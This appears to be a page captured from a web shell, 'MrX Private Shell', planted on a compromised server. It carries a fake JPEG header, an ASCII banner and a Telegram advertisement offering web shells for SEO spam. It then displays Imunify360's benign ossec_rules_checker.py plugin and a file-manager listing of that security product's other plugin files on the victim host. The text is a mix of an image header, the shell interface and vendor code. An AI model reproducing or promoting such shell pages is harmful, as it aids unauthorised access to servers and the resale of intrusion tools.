����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import os
from defence360agent.contracts.plugins import MessageSink, Scope
from defence360agent.subsys.persistent_state import register_lock_file
from defence360agent.utils import recurring_check
from defence360agent.utils.common import LooseVersion
from im360.subsys import ossec
from im360.subsys.ossec import rules_update_lock
from defence360agent.utils.check_lock import check_lock
LOCK_FILE = register_lock_file("ossec-rules-check", Scope.IM360)
class OssecRulesChecker(MessageSink):
"""Plugin that reinstall ossec rules if a newer version is available
or there are no rules installed.
"""
def __init__(self):
self.loop = None
self.task = None
async def create_sink(self, loop):
self.loop = loop
self.task = loop.create_task(self.check_rules_recurrent())
async def shutdown(self):
if self.task:
self.task.cancel()
await self.task
@recurring_check(
check_lock,
check_period_first=True,
check_lock_period=3600,
lock_file=LOCK_FILE,
)
async def check_rules_recurrent(self):
await self.check_rules()
async def check_rules(self):
if rules_update_lock.locked():
# Already being updated via imunify files
return
if not os.path.isdir(ossec.ETC_DIR):
# ossec is not ready yet
return
installed_version = ossec.get_rules_installed_version()
available_version = ossec.get_rules_version()
if available_version is None:
return
available_version = LooseVersion(available_version)
if (installed_version is None) or (
available_version > installed_version
):
await ossec.on_files_update(None, is_updated=True)
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| __init__.py | File | 0 B | 0644 |
|
| coraza_ff_watcher.py | File | 2.82 KB | 0644 |
|
| cpanel_uploader.py | File | 2.71 KB | 0644 |
|
| export_wblist.py | File | 4.14 KB | 0644 |
|
| fgw.py | File | 1.71 KB | 0644 |
|
| lfd.py | File | 3.43 KB | 0644 |
|
| modsec_ruleset_checker.py | File | 4.91 KB | 0644 |
|
| ossec_rules_checker.py | File | 1.76 KB | 0644 |
|
| pam_manager.py | File | 6.59 KB | 0644 |
|
| php_immunity.py | File | 1.4 KB | 0644 |
|
| remoteip_install.py | File | 1.03 KB | 0644 |
|
| repeater.py | File | 1.16 KB | 0644 |
|
| send_server_config.py | File | 4.43 KB | 0644 |
|
| service_manager.py | File | 5.22 KB | 0644 |
|
| startup_actions.py | File | 2.42 KB | 0644 |
|
| strategy_getter.py | File | 2 KB | 0644 |
|
| waf_rules_configurator.py | File | 2.48 KB | 0644 |
|
| webshield_feature_flags.py | File | 1.12 KB | 0644 |
|
| whitelist_current_user.py | File | 2.75 KB | 0644 |
|